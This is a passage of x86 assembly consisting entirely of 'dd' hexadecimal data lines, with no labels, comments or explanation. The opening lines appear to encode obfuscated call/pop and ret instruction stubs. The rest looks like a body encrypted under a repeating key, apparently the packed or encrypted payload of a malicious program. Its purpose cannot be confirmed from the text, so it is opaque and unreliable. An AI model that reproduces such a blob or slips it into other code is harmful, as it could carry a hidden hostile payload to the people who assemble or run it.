		dd 60E2405h, 88185C7h, 5888060Eh, 0DE80000h, 63000000h
		dd 0E283C274h, 0E3680FFCh, 0B196F32Ah, 5BDEBF0Fh, 28D985C7h
		dd 60Eh, 6A0000h, 3E852h, 5A200000h, 54895AC3h,	44810424h
		dd 190424h, 52420000h, 6EE657C3h, 0FF00FA4Eh, 0E1889B5h
		dd 56006A06h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1504h
		dd 0C3564600h, 958BC7DBh, 60E3479h, 9B995FFh, 6A060Eh
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h, 50400000h
		dd 8146A2C3h, 0E24048D2h, 66B4194Bh, 95FF006Ah,	60E0F45h
		dd 1FEBC08Bh, 0A10396A5h, 8C8CFC99h, 3AAC2EBCh,	7B72CF80h
		dd 3236AF3Fh, 0DCDAAED5h, 136B20F3h, 5300916Eh,	5DB16046h
		dd 0AEB134BFh, 0E46CD656h, 535F020Ch, 0D7F73256h, 33B13256h
		dd 3E5FFDFAh, 9A9D0F53h, 5DB133FCh, 0AEADB059h,	0BED13256h
		dd 0ABB13251h, 704FE5A1h, 3E85826h, 75B1325Fh, 2528B05Dh
		dd 59B71610h, 81B95325h, 587F3010h, 53B13237h, 0C1583256h
		dd 0FEB13256h, 0C7C20EB6h, 1DC351E8h, 0BC9E2592h, 6B6D0620h
		dd 576D5B24h, 73305256h, 0F269E495h, 0B1EE6304h, 15B13237h
		dd 0BABADB04h, 4F03256h, 0BA98B0ADh, 0F01BA4ECh, 553A6DDAh
		dd 0D5B7DB37h, 20E33256h, 68067558h, 53493256h,	5DB13259h
		dd 79B94225h, 9C4EDFh, 2B6C79D0h, 7FF34C1Eh, 0EAB1686Eh
		dd 75B0B359h, 0D0443256h, 5DB16987h, 0E05EB336h, 37E3DD88h
		dd 0A46FB930h, 0D5B132D7h, 0EAD05356h, 75BCDB56h, 9A0E3256h
		dd 0B2E5B11h, 0F80BE608h, 571A4C15h, 0ABB8DB56h, 8BB33256h
		dd 4C5971FEh, 75BAFF94h, 0B23C3D56h, 52B13256h,	0AEB130DEh
		dd 57D05256h, 0B8585256h, 0FB13256h, 0CE0C57Ah,	0EB487EE6h
		dd 45650B9Ah, 75CCD4E2h, 0AED0EE70h, 57B1CA56h,	0ABB137BFh
		dd 4F8A2556h, 0EAB1E496h, 9CB132AEh, 0BAB13253h, 0C2194869h
		dd 0CEB132C9h, 58718D59h, 0ABD0C3E1h, 0D9313D56h, 0E5B13256h
		dd 75B134DCh, 0BA383D56h, 5DB13256h, 0AEB1CB56h, 58B132A3h
		dd 0ABB12FD5h, 0C2313D56h, 3B13256h, 75B13244h,	2E5F3CC5h
		dd 91BC1D85h, 0FD40FE80h, 0F1DD01F3h, 0ABB1D608h, 0D5BCB559h
		dd 0E2583256h, 49B13256h, 2BCC8BC2h, 5D0AEDE3h,	0AEB1CB56h
		dd 57BBDA36h, 43C03256h, 0B8022C62h, 0FCF99ABBh, 2C60B930h
		dd 0B5B13237h, 5DB123DDh, 0AEBDDB56h, 6E583256h, 9D9BCED9h
		dd 0B00B2F91h, 0EAB106BDh, 70333D36h, 4B13256h,	6FB41B4Ch
		dd 0AEB137BFh, 59856A56h, 42D0295Fh, 0D5B1325Eh, 0D014DACEh
		dd 0D971A2B9h, 0AB583256h, 67B13256h, 3A94CE56h, 0B2187076h
		dd 0EA76D89Fh, 7BFDD0Eh, 0F8583256h, 0F5B13256h, 0BFA8983Eh
		dd 33A0A4C5h, 43716511h, 89C3AA4Bh, 0ABB13078h,	0D5B13C56h
		dd 0EAB8DB56h, 0D0663256h, 1510F399h, 5D6CB2EEh, 0A03D3D56h
		dd 0BEB13256h, 0ABB1325Fh, 17203253h, 70DBC1E8h, 7DB6E5AFh
		dd 0B5B13156h, 5EB13C56h, 25B13556h, 0E10C3F56h, 0AB7F9D11h
		dd 0D5A1DB56h, 0CC193256h, 0A270DF0Ah, 7E1284Eh, 8C70ED4Dh
		dd 0AEB1416Ch, 57A3B059h, 42D13256h, 0D5B1325Dh, 900E30E1h
		dd 69897F7Eh, 0DB2856C1h, 53583256h, 0D7B13256h, 9AC5E6D6h
		dd 20ECDDABh, 71A983BCh, 0E5B13245h, 75B121D5h,	0BABFDB56h
		dd 0F2A03256h, 0CA0A60BEh, 1122876Bh, 0C2543B06h, 59BE3256h
		dd 0EAB13251h, 75B0B559h, 534D3256h, 5DB1325Fh,	7FDE6A97h
		dd 0DCE070EEh, 0CBB132D8h, 0D5B13FBFh, 6CFB3256h, 0DF57A9D6h
		dd 12EB0981h, 3C085929h, 0CF95B6F6h, 37493256h,	0CD59B836h
		dd 0B5D0EADDh, 2641B3AEh, 149DE2F1h, 0F0B13237h, 5DB13354h
		dd 0AEB1C756h, 1DB132AEh, 7D3A5454h, 4372B30Ch,	8BE6C2C2h
		dd 0E54D3256h, 0E8E16006h, 5DB139BFh, 13A55556h, 0EE3131E4h
		dd 0DE1D6DA8h, 0D3580359h, 3CB13256h, 179C7601h, 0B5E968A5h
		dd 0EABE5267h, 0F6EB5395h, 7E36206h, 0A4E36204h, 0DAE96867h
		dd 0E5E36267h, 2FE96867h, 0EA803D0Eh, 52D05204h, 0A1E36267h
		dd 0DE96867h, 3BE9680Eh, 0B1B13256h, 3A22B09Bh,	895EFC9Fh
		dd 3BBAE8D3h, 5E79949Fh, 0AEBDDB31h, 6A253256h,	92B1B164h
		dd 209DED28h, 8B2CC9DCh, 0B419F9C0h, 47E59530h,	0B53171A4h
		dd 0AEA5DB68h, 0E25D3256h, 9A69891Ch, 0B835A540h, 834101F4h
		dd 50ADBDB8h, 0DB2C99ACh, 599576DFh, 0AEB135BFh, 8E911156h
		dd 3EFD4DC8h, 5277A50Eh, 0C9E3EFE2h, 0A2FEB76h,	211BA71Ah
		dd 0B4C7DFD6h, 0AEB1325Ah, 44B37FB2h, 0C4FF7B06h, 5EEB372Ah
		dd 0AE3853CBh, 79583672h, 0AEB13256h, 0DDB280EBh, 2EECCEFh
		dd 0FCA3823h, 0ABB7DB56h, 66A13256h, 0F8C7E569h, 0F8BE3256h
		dd 0BAB13258h, 5DB13BBFh, 3F4E2556h, 7D23B211h,	0ABB1825Ah
		dd 29B132AFh, 69BE3256h, 75B1324Dh, 0BAA4BD59h,	4D583256h
		dd 0FCB13256h, 0FB5D1D7Ah, 0F49CA646h, 0DE680D43h, 0E5227797h
		dd 75B13ADFh, 0B83F3D56h, 3DB13256h, 0CEB13237h, 57B138BFh
		dd 6F60D156h, 6D841DFh,	3231604h, 75B13253h, 165A4F6Dh
		dd 5DB153D7h, 0AF3D3DAFh, 0AEB13256h, 0AB443256h, 0C53E3D56h
		dd 3B13256h, 75B1325Dh,	5D053C6Fh, 4E14C199h, 0AE5537B6h
		dd 443D3D56h, 42B13256h, 0D5B13258h, 0C817087h,	72363DB7h
		dd 230E4557h, 5DB17C64h, 0AEA1BA59h, 5C583256h,	5FB13256h
		dd 0D2571C40h, 92895BE0h, 75B161EEh, 0DBE6136h,	0B4D16887h
		dd 0AEB13245h, 12EEEFCEh, 9CA25037h, 0ACA60FEh,	9E3774B7h
		dd 9CC34991h, 0BAB1325Eh, 0AACE022h, 0BDDE5860h, 57445337h
		dd 0ABB1CE56h, 0DE3C3D36h, 2B13256h, 75B13253h,	6DD24B3Ch
		dd 0DEBE6DECh, 0AEB13250h, 0DD92FBD7h, 0ABD00CF8h, 0D5B1CB56h
		dd 8AB132AEh, 0FC56B330h, 4B3054DDh, 5DD0A6B2h,	52D1C756h
		dd 57B7BE59h, 2EBE3256h, 0D5B13256h, 1FB13237h,	7A4D3256h
		dd 0BAB138D3h, 5DB4DB56h, 0CC613256h, 57E29CFAh, 0ABB1CE56h
		dd 0D5A2B059h, 0E4583256h, 0EBB13256h, 14E9F8FAh, 4B6BDA31h
		dd 0C2552812h, 58B13217h, 0ABB137D9h, 5ED75256h, 0EAB153A8h
		dd 75B0B259h, 0BA4D3256h, 0DDD15256h, 25D0ECBAh, 57B15390h
		dd 0ABB13FBFh, 45EEF056h, 6F4C2106h, 0CD963F76h, 0BAB16B9Eh
		dd 0B4B132AEh, 0AEB13250h, 42CD2362h, 0ABB19048h, 0D5AEB359h
		dd 2D13256h, 75B1325Ah,	0D0716CFCh, 3210339Fh, 0AE822BF6h
		dd 57B4DA08h, 0EF4C3256h, 8B1FBDADh, 16B13237h,	75B126BFh
		dd 6C2AE256h, 0E075387h, 60A6EFF6h, 976DF306h, 132C10AEh
		dd 2DB13268h, 0E5D13256h, 75B131D4h, 7B0E3D56h,	5DB13CBFh
		dd 0AC329056h, 0F0AAD7C5h, 0AA6A7BC1h, 0B45E3295h, 0F9583256h
		dd 8DB13256h, 0DB5782B6h, 778E226Bh, 981AB4E1h,	0EE395B30h
		dd 0AB48049Fh, 0D93C3D56h, 3B13256h, 75B13251h,	4A3D92CAh
		dd 5DF7BCCBh, 480A5256h, 0BEBDDECCh, 0ABB13246h, 3A2AD586h
		dd 0D7FF097Dh, 79EF8CB1h, 179571D2h, 3DB13237h,	5643B930h
		dd 37B13237h, 8778B236h, 0D5B13ABFh, 9BEC5F56h,	62117F56h
		dd 820453EDh, 0B4B13237h, 0AEB1325Ah, 0B068811Ch, 2A42D98Ch
		dd 0AF8A85A3h, 0F9583256h, 72B13256h, 622961B8h, 3273DAA9h
		dd 0FA7E406Dh, 1075653Dh, 0ABB1D68Bh, 0D5B0BE59h, 0EA493256h
		dd 75BBDB56h, 2B683256h, 6FB9578Fh
		dd 727FD911h, 57B0BA59h, 0AB483256h, 6ED75256h,	6AE63765h
		dd 14EAFA8Bh, 0B5583256h, 0E9B13256h, 0B9720C05h, 6AB1B372h
		dd 49F986EFh, 0D5B1E995h, 0EAB9BB59h, 0F8BE3256h, 0BAB13254h
		dd 5DB15336h, 47B132AEh, 57B13251h, 4F7AC21Ch, 0D5A0EC69h
		dd 0EABEDB56h, 8C2B3256h, 499DE4BAh, 9457BA26h,	9C638183h
		dd 0D8BE52AFh, 0ABB13256h, 0DAB13237h, 0EAB138D7h, 0B23A5256h
		dd 0BAB1B659h, 5DD03256h, 70F5256h, 3691F498h, 0A7583256h
		dd 77B13256h, 0E1C024D7h, 2D0A84CFh, 0BAC5094Fh, 5A383D56h
		dd 0A1B13256h, 57B133D5h, 0ABB1CA56h, 0D5B9B059h, 6FBE3256h
		dd 75B13254h, 0BAB15336h, 0B4B132AFh, 0AEB1325Ch, 0A84E77F3h
		dd 75B17E9Fh, 0D5B1913Ah, 0EAA5DB36h, 2C303256h, 0E142D7EDh
		dd 1E998294h, 0E1D8E53Eh, 0EE6A13C1h, 0A158537Ch, 4AB13256h
		dd 0C9254C14h, 5CD028BDh, 0BAB1531Fh, 52B132AEh, 0AEB133D5h
		dd 57B1CE56h, 0ABB1C7A3h, 0D5BCBA59h, 0E2583256h, 42B13256h
		dd 0EEBC15DEh, 528F2E47h, 0AEB136D4h, 36D15256h, 42B13237h
		dd 0D5B1325Ch, 2707A173h, 9F0B1E1h, 0BAB174F3h,	3DB132AFh
		dd 0AEB1B859h, 0D6D73256h, 0CA4966B0h, 0D54D3256h, 0ED585256h
		dd 0CFB13256h, 184E6032h, 0EABE592Fh, 0AEB153ACh, 0ABB132AAh
		dd 0ABA2BC59h, 0DB583256h, 0C8B13256h, 0BF936D52h, 8B0210A8h
		dd 0C37EEE60h, 0A1B1321Ch, 57B13ADCh, 0A9383D56h, 0B5B13256h
		dd 3B13237h, 75B1325Fh,	1D0ED7F9h, 0B7A9F55Dh, 0CEB132D6h
		dd 57A1DB04h, 50A73256h, 54FB1FD7h, 47F9D7B8h, 0C3723DABh
		dd 53EFED6Bh, 5DB13246h, 0F51C54E4h, 1A6A7A2h, 0DBBA1070h
		dd 284AD086h, 1FB13237h, 75B9BE59h, 32BE3256h, 5DB13254h
		dd 0AEB15336h, 57B6BE59h, 25BE3256h, 0D5B13257h, 13B132AEh
		dd 73583256h, 97B13256h, 0E2B530CCh, 47B1329Ah,	57B13253h
		dd 8729850Ah, 0B5B1327Bh, 0A84B0EEh, 75BCDB50h,	55FA3256h
		dd 0F146134Dh, 0F57D523Bh, 36FE4A23h, 0BF583256h, 0DB13256h
		dd 0AB6ABB8Ah, 2576A132h, 2ED6A816h, 3DA50D2Ch,	0AE87FE3Bh
		dd 5C595256h, 0BFB13256h, 13B4781Fh, 0DAD84C47h, 67589591h
		dd 0D3B13256h, 3DE115E3h, 895495DFh, 1F2FAF96h,	0C70B78EAh
		dd 0D5D06BE9h, 0EAA0DB56h, 39103256h, 67A199CEh, 128A3891h
		dd 4F5C4E9Fh, 574BDD12h, 0ABB1CE56h, 2CB132AEh,	66BE3256h
		dd 75B1324Eh, 0BAB121BFh, 6D425E56h, 98D45537h,	8A28C23Eh
		dd 9820E180h, 0BA57B44Eh, 0EABCDB36h, 19FF3256h, 0DDD002A5h
		dd 0ADD90433h, 1767EFCFh, 48AF8CA1h, 42B13237h,	0D5B1325Fh
		dd 0E8C326F7h, 0A0C6D53Ah, 0DAB13287h, 52B13237h, 0AEB122D0h
		dd 5D3F3D56h, 42B13256h, 0D5B13253h, 9B157449h,	63373D7Fh
		dd 53B13256h, 5DB13247h, 3913570Dh, 0B19D898Ch,	798A3D33h
		dd 0D1A6913Ch, 8AB132E4h, 7259C2DDh, 0DBB13256h, 8DF1D437h
		dd 0A0581944h, 8FB13256h, 0E710FE70h, 8A199CEh,	0A58A3891h
		dd 80D0699Fh, 0DCD13256h, 0DCEDBEEDh, 0B82B7586h, 0A2D15302h
		dd 0ABB4BA59h, 54D73256h, 8BDDAFB5h, 7B583256h,	31B13256h
		dd 0DF682630h, 0DE230419h, 9AA74767h, 0ABA3DB41h, 0EC743256h
		dd 0B865C4E5h, 0EC878699h, 9C530F7Dh, 7B5848E0h, 0AE4D3256h
		dd 5A373D56h, 42B13256h, 0D5B1325Eh, 618B8B9Dh,	0DC547B6Fh
		dd 0DCD13256h, 9C3AE2DDh, 0CEB13237h, 4E51D1D7h, 0ABD03801h
		dd 0D5BCDB56h, 0D80B3256h, 0BFD58047h, 67C9B136h, 5DDB4429h
		dd 0A158CB56h, 56B13256h, 2EF0B89Ah, 0CCD83B2Ah, 0B4B983ACh
		dd 75B1FD00h, 0BAB122BFh, 6108C756h, 8CAE5E4Ch,	0E0403A5Ch
		dd 6ADE7A41h, 0B5B13217h, 66DA8B30h, 75B13EBEh,	0B9E29556h
		dd 94DF895Ah, 8CD4E93Bh, 0FD0529Eh, 52B13237h, 0D54D3256h
		dd 6BD75256h, 9CD1B896h, 0BAB13242h, 0DE3D93DAh, 0B517D192h
		dd 98715B38h, 0D49D30E4h, 8AD9C999h, 0E5B13237h, 75B133D0h
		dd 0BAB1CA56h, 5DB123BFh, 93B91456h, 0D802D227h, 57F8BC00h
		dd 0E20D710Ah, 0EAB1D17Dh, 75B6B359h, 3BBE3256h, 5DB13257h
		dd 0B43B3DA3h, 58B13256h, 0ABB126D6h, 0D5BEDB56h, 0DEA73256h
		dd 5734756Ah, 0B74225FEh, 7DB4A69Eh, 5BB132DBh,	0D5BE3256h
		dd 0ABB13251h, 55D05236h, 0EAD0079Ch, 0F5E15256h, 0EE9D586h
		dd 5DB1537Fh, 5BB132AAh, 574D3256h, 2DBE5256h, 0D5B13250h
		dd 0EAB1BE59h, 75D03256h, 37BECE56h, 5DB1325Ch,	0A1D05236h
		dd 57B132D6h, 0ABB15356h, 0D5A3BC59h, 6DBE3256h, 75B1325Ah
		dd 0BAB135BFh, 82734A56h, 5279D738h, 59583256h,	0BAB13256h
		dd 0C1FAFD19h, 222951BAh, 0CE6FBBEFh, 0BAB9DBB6h, 43313256h
		dd 0F7670171h, 57B10EE4h, 0ABB7B559h, 5FD13256h, 8BEE63A2h
		dd 77393D36h, 31B13256h, 5DD0CE80h, 0A63B3D56h,	37B13256h
		dd 0ABB1BF59h, 0D5D03256h, 0EAB1C756h, 9CB132A3h, 0BAB13242h
		dd 0AD8E0484h, 0F386040h, 0F1C1731h, 5523E9Dh, 0FBB76C2Eh
		dd 0E1583256h, 33B13256h, 860909FBh, 2017DFBDh,	47D1B33Eh
		dd 57B13259h, 0C74167B1h, 0B4BA0BFBh, 513576BEh, 8CB08F70h
		dd 53B13237h, 5DB1325Ah, 0FCE80422h, 0B8B868D4h, 80682D7Fh
		dd 0D5483256h, 0FB333D56h, 9CB13256h, 0BAB1325Ah, 9C33110Bh
		dd 0CCD38448h, 3DAA10C0h, 2AD13256h, 0EA35A085h, 7B50B304h
		dd 14971CF6h, 0BA443256h, 5DBBDB56h, 0F0153256h, 3D27CCh
		dd 70A2B439h, 0C1583256h, 0BCB13256h, 0AF27D888h, 0CC878922h
		dd 97DBF1F5h, 0A39244E0h, 57C6052Eh, 0A4E65256h, 0D5B132DAh
		dd 55D76D56h, 8CD03D95h, 3CBE3256h, 5DB1325Ch, 0AEB137BFh
		dd 6DBFB556h, 0ABB14EECh, 53085436h, 113A54A1h,	9CB13237h
		dd 0BAB1325Fh, 57A5CBE4h, 0ECD3E49Ch, 0AFB132B5h, 2ABE3256h
		dd 0D5B13257h, 8AB132AFh, 9C70B930h, 0BAB13244h, 16BEC73Fh
		dd 0C72D2382h, 366D8200h, 24693A0Dh, 0D5D005F3h, 0EAB4DB56h
		dd 433256h, 0BADA50DFh,	453C3D56h, 0CEB13256h, 57B123BFh
		dd 5F0CD956h, 0B691C991h, 1F162BFAh, 1734B5ABh,	53D0A419h
		dd 5DB1325Fh, 21B96A82h, 26FDFA03h, 0CBB132B7h,	2DE2E4DDh
		dd 64BE530Eh, 75B1324Fh, 0BAB126BFh, 75821356h,	2F8D1C5Ah
		dd 7D3956BEh, 9B92D93Ch, 1E9354E7h, 8AB13278h, 0F51FF9D7h
		dd 31D77014h, 5DB153A8h, 0AEBFB859h, 5E583256h,	0B4B13256h
		dd 5621BA2Ch, 57C43CFEh, 0F6BE3256h, 0BAB13257h, 0B4B132A3h
		dd 0AEB1325Ch, 5B25D3CBh, 0D052752Ch, 0B3D1BB38h, 314B6E8h
		dd 75B1325Ch, 5DE599FAh, 89A8379h, 0AED0BFCAh, 5B3A3D56h
		dd 42B13256h, 0D5B13251h, 1C9B0E3Fh, 756BAD6Bh,	0AD313D56h
		dd 0B4B13256h, 0AEB13244h, 2C5362CFh, 0F99DF599h, 34FCC181h
		dd 0D41C6972h, 75B10CA3h, 3D75236h, 0B4D01588h,	0AEB13245h
		dd 6EA23E8Dh, 9531F1D7h, 7BB91304h, 3A4884C1h, 144202A3h
		dd 0B6583256h, 0FBB13256h, 17C2EB01h, 40BCA284h, 0CB29D7A8h
		dd 8AD05204h, 0EAA8BB59h, 61583256h, 77B13256h,	4D9716B0h
		dd 0C8237618h, 0CDFFFCDBh, 3163B933h, 0B4638F87h, 0E0583256h
		dd 0A3B13256h, 81580B3Dh, 68BD1772h, 0CEB132CCh, 57A3DBAFh
		dd 8C703256h, 0DCB7612Ah, 737A41D5h, 0B7B90A0h,	0C1BD713Ah
		dd 0B4B13237h, 0AEB1325Dh, 0B6DA8CBCh, 8DDF7CCCh, 0D5EF51DCh
		dd 5B445256h, 75445303h, 0BAB1CB56h, 5DB0B359h,	0AE483256h
		dd 0D9BECA56h, 0ABB1325Dh, 0F471B336h, 8C8721F1h, 75D0E5DDh
		dd 0BA4DCA56h, 5DB1C756h
		dd 0CEB132AEh, 3679B9AFh, 0AB443256h, 0D5BCDB56h, 56653256h
		dd 0F67A9F00h, 0B1D54BE3h, 5D8A86B4h, 0A03C3D56h, 0BEB13256h
		dd 0ABB1325Fh, 129EDFFCh, 0D07BF41Ah, 9CB132E8h, 0BAB1325Ah
		dd 0E8D1FE61h, 2946008Eh, 4AF8B3A9h, 20BE3256h,	0D5B13257h
		dd 55D752AAh, 0F4D7E313h, 0DB32A294h, 0D7BE3256h, 0AEB1325Ch
		dd 57B137BFh, 0F250FA56h, 0D5B1838Dh, 0EABDDB36h, 75623256h
		dd 0C0E87C09h, 8E731654h, 0EC092A8Bh, 36CA9841h, 14D13256h
		dd 0CBF211B9h, 0EAD04BE5h, 75B8DB56h, 0DA7B3256h, 226C4AD5h
		dd 0A19E5820h, 57B12AD1h, 0ABA2DB56h, 7F303256h, 4A71C63Eh
		dd 0F43AD056h, 0DD4ECF0Bh, 0D0D4BE75h, 47B1321Dh, 57B13251h
		dd 0BAA58CABh, 0B56BF40Ah, 8B50B8AAh, 7AD13256h, 0BAB132D1h
		dd 5DBCDB56h, 9F823256h, 41A9D1E0h, 38EACBCh, 0B4F9EBFCh
		dd 61BE3256h, 75B13257h, 4FB132AFh, 5B583256h, 0DDB13256h
		dd 0F622EC27h, 0ABB1CB9Fh, 3CB132AAh, 0EAB13244h, 5FFA978Dh
		dd 0D619531Dh, 9CAD7093h, 0D02A8AA6h, 57B1FFE5h, 0ABB123BFh
		dd 0DCE8BD56h, 0B633063Ah, 0ABB6CC7Fh, 0A4C47BFFh, 5DB15254h
		dd 0C86BB936h, 36CB64E9h, 23BE3256h, 0D5B1325Ch, 0EAB137BFh
		dd 0E8185856h, 0BAB1E91Bh, 5DB1CEA3h, 0D257B336h, 0BE8D964Eh
		dd 0ABB1325Ah, 0D15A670Eh, 6CF40090h, 0EE04079Fh, 53B13237h
		dd 5DB13253h, 0E1A7151Dh, 0A2B1322Ch, 0FBD13256h, 0B3E96A06h
		dd 8027E5D7h, 74313D37h, 46B13256h, 0B4D13256h,	0AEB1325Ah
		dd 9D2F7DACh, 0ABD89C34h, 0B234C843h, 0EAB3BE59h, 0B23A3256h
		dd 0B5B13237h, 5DB12AD4h, 0AEA2DB56h, 14433256h, 0D59691ACh
		dd 0D75232F1h, 0FB47165h, 0C8CD4B0Bh, 53B132B9h, 5DB13245h
		dd 817EC1CFh, 67B9F11Fh, 230766FAh, 18015FAAh, 0EA963DD7h
		dd 75B1CA56h, 0BAA5DB36h, 8DF03256h, 83A7A7FBh,	0FB782D0Fh
		dd 0C5F56809h, 0CB5E1A2Ah, 0EAD09A02h, 75B1CB56h, 53B132AFh
		dd 5DB13253h, 6FB1E752h, 56303DBAh, 57B13256h, 0D5493256h
		dd 0EB3F3D56h, 8DB13256h, 0DCD13256h, 3C0C75EDh, 0AEB13BBFh
		dd 11327456h, 9590C216h, 0D5B17A57h, 0EAB4DB36h, 0F8283256h
		dd 96FF1E1h, 5DB15323h,	45498C36h, 0DABE4F9Ah, 0ABB13253h
		dd 7666B330h, 0EAB153FBh, 2BCC8A36h, 0A958343Ah, 0CAB13256h
		dd 6426E020h, 997F3F87h, 0A9BB0E1Fh, 33CBF742h,	0EAD064FDh
		dd 0C2BE5256h, 4B305488h, 5DD0CFD6h, 0A1595256h, 91B13256h
		dd 0CFC55F8Eh, 0D75F6632h, 0F179D846h, 7F58B72Eh, 69B13256h
		dd 0E8977168h, 0D9FDB498h, 57D06C76h, 0ABA3DB56h, 0EB603256h
		dd 0A51536E7h, 0D682D04Eh, 96CA3B78h, 34B2ACF0h, 25BE3256h
		dd 57B13241h, 0ABB120BFh, 0B45DE056h, 42721B5Dh, 0C38E7E18h
		dd 0FE2F387h, 5DC6289Fh, 0AA343D56h, 37B13256h,	0ABD0CBAEh
		dd 0D5BBDB56h, 0DF853256h, 289C6064h, 0FDD2DBE7h, 49583256h
		dd 0E2B13256h, 778067E8h, 98CEF26Fh, 432B6B78h,	0E5606E1Ch
		dd 752688A1h, 5BE5256h,	5DB6DB8Ch, 0EB0C3256h, 0AA4B2FD1h
		dd 0ABB153F0h, 0B5B132AEh, 5FC5D3D6h, 75445309h, 0BAB1CE56h
		dd 52B132A3h, 0AEB126DFh, 57BEDB56h, 0A2C13256h, 83A86F93h
		dd 29D08676h, 0BA4CDFF6h, 0DAB132DFh, 5DA6B659h, 0BF593256h
		dd 51B13256h, 4D766CAh,	0B40D47E1h, 60AF9FEDh, 0FF62331Dh
		dd 3EBE5208h, 5DB13256h, 0AEB1B659h, 36D03256h,	0AB483256h
		dd 0D5B1CB56h, 0EAA7B059h, 0FED13256h, 0BABCDB91h, 79D23256h
		dd 2BD1CE1Bh, 0B45C2403h, 0CA36458Fh, 5BBE3256h, 0EAB13242h
		dd 75B13DBFh, 63B6BD56h, 0A699AA95h, 92783DB5h,	5DB263DCh
		dd 2AD13256h, 0BDB1BBEh, 28095436h, 75B1536Dh, 0BAB13ABFh
		dd 0FC6A1B56h, 32C7B57h, 57B6DB56h, 0CDDC3256h,	0E6608A40h
		dd 3B1328Eh, 75B13246h,	0E3D3C5F1h, 2F63C170h, 0B746B656h
		dd 34977BDEh, 0ABB13DBFh, 0F413A556h, 6660692Eh, 48065585h
		dd 37D539C0h, 0B5D13256h, 0AEB13244h, 0FBD6D0D2h, 0F522BF6Bh
		dd 0D2AF5299h, 537FCCE8h, 7859FF31h, 0A4B13256h, 0B04A4019h
		dd 5A7385E0h, 274E3A4h,	0ABD0690Eh, 0DE353D56h,	3B13256h
		dd 75B13250h, 8D73362h,	5DB14E05h, 0CEB132AAh, 57B7B459h
		dd 24BE3256h, 0D5B13256h, 0EAD045E2h, 75B1CA56h, 3066B836h
		dd 52D1538Bh, 0AEB137D3h, 0BE305456h, 0C10B2EB9h, 0B4D1DB32h
		dd 0EA483256h, 0C2BE5256h, 53D0CB84h, 5DB13244h, 61D2C32Ah
		dd 3EE81D49h, 0E284071Fh, 1D52149Fh, 0EAB1924Ch, 75B0B959h
		dd 0BA483256h, 5DB1C756h, 0AEA9B859h, 0D2BE3256h, 0ABB13244h
		dd 0D5B13FBFh, 6447AF56h, 1748BA7Fh, 1977156Dh,	5DB1F445h
		dd 0AEB13DBFh, 75E20A56h, 3262ACE0h, 12204D38h,	0D6713298h
		dd 0F5D13256h, 0B900048Eh, 0B4B13237h, 0AEB13259h, 4480D496h
		dd 7D9A2E9Ah, 52FD04F7h, 0EA112DACh, 75B1CE56h,	0BAB5B159h
		dd 0EAD13256h, 0AEB1537Ah, 57B13CBFh, 0D8FBD556h, 9B7BA036h
		dd 0CC306088h, 755A24FDh, 0BB3B3D56h, 0A4B13256h, 25D13256h
		dd 0B3288CA5h, 0ABD06392h, 0DD3D3D56h, 0E5B13256h, 75B130DEh
		dd 0BAD05256h, 44383D56h, 47B13256h, 57B13242h,	48BC1675h
		dd 0D23BD0EFh, 0F167E7BCh, 25AE98E8h, 4BB6055Eh, 49583256h
		dd 7BB13256h, 0DAC46C4Fh, 86A4778Dh, 0A5FA09C0h, 0FF1129C6h
		dd 9C02D94Ch, 0BAB1325Dh, 27B4042Eh, 0A17C2C70h, 57AF8045h
		dd 0ABB7DB56h, 0A4013256h, 57EE37CBh, 0F7BE3256h, 0BAB13257h
		dd 0A5B132AAh, 0C8D13256h, 1A1DDD7h, 52B13237h,	0D0583256h
		dd 0FEB13256h, 4655975h, 36BE3256h, 5DB13245h, 0AEB13CBFh
		dd 3AB16356h, 9E282A3Ah, 37C7D553h, 0EA12DBA7h,	13D1CA56h
		dd 0DBEEBDDh, 5DB1538Ch, 0AEA7BE59h, 0D7BE3256h, 0ABB13246h
		dd 0D5B139BFh, 950FA456h, 74F84FF7h, 9B84AF77h,	50583256h
		dd 52B13256h, 24E5E57Bh, 4DD4251Ch, 7A04D39Ah, 0E5D13256h
		dd 6558F2E9h, 14B13256h, 16B65306h, 5251E69Ah, 8B7BAA53h
		dd 0CA2F1555h, 0B3D13256h, 61D7E2DDh, 75B15388h, 5BE5236h
		dd 163A8986h, 47D0481Ch, 57B1325Ah, 131B4351h, 4B63F523h
		dd 677694C1h, 15B13237h, 0B558E1DDh, 3FB13256h,	7A9AB8A8h
		dd 0A6AFF0E7h, 8A64B51Bh, 0D5D03B7Fh, 0F2373D56h, 9CB13256h
		dd 0BAB13245h, 3B77F27Ch, 0E5B292AFh, 717BC86Eh, 34E0BC38h
		dd 0D5AC42D8h, 0EAB1CE56h, 75B138BFh, 0D8C5F156h, 0D4CD377Eh
		dd 0AE4E07EDh, 52323D56h, 0CBB13256h, 0B44D6A01h, 0E3583256h
		dd 0B7B13256h, 0BAA9EF85h, 7A5C207Ch, 0CE4D3256h, 57B7BE59h
		dd 64303256h, 0B0ECF585h, 8B43B930h, 67583256h,	0DDB13256h
		dd 0DC8AC6A7h, 0A2A3113Bh, 1EDCC5EEh, 45828D47h, 2DB132F1h
		dd 68BE3256h, 75B13257h, 0DAB132AAh, 4972B330h,	0AEB4DBFAh
		dd 6723256h, 0CA17F82Ch, 0D5483256h, 0EAB1CB56h, 75B13FBFh
		dd 2E240956h, 0DB1B0DC6h, 0F11B4CB6h, 57B1C49Eh, 0CBB132A3h
		dd 0DAD030E0h, 0EAB124D1h, 75A0DB56h, 5DA3256h,	0B8B00BBh
		dd 299B9D95h, 0C5DC446Eh, 0AB693C83h, 6ABE5256h, 0EAB7DA80h
		dd 46DC3256h, 0B4148642h, 5DB120BEh, 2729B856h,	0C7E9FED9h
		dd 6977A6A5h, 1BDA7F7Bh, 0B095C70Ah, 7258530Dh,	0CBB13256h
		dd 0AED7C239h, 0AEB159C4h, 57B13BBFh, 5D60B756h, 35DA9D3Ch
		dd 0EAB1C17Bh, 15B132A3h, 37BEE1DCh, 5DB13254h,	0AED05336h
		dd 403C3D56h, 42B13256h, 0D5B13244h, 0E8316551h, 46DF37B4h
		dd 0D54DF039h, 0DDDA3D43h
		dd 0AEB16A80h, 0A73A5436h, 0ABB139BEh, 8D86756h, 207C6B0h
		dd 767F9A15h, 0BAB1BD59h, 3CE83256h, 2DBE3256h,	57B13257h
		dd 0CBB132A3h, 0D5B4DBAEh, 0B7DD3256h, 144597ECh, 0A9583256h
		dd 0FB13256h, 0D26BFC97h, 0F3C49D42h, 72729A88h, 4234D841h
		dd 0EAB16201h, 75B0BE59h, 0BA443256h, 5DB1CB56h, 0AEB6DB36h
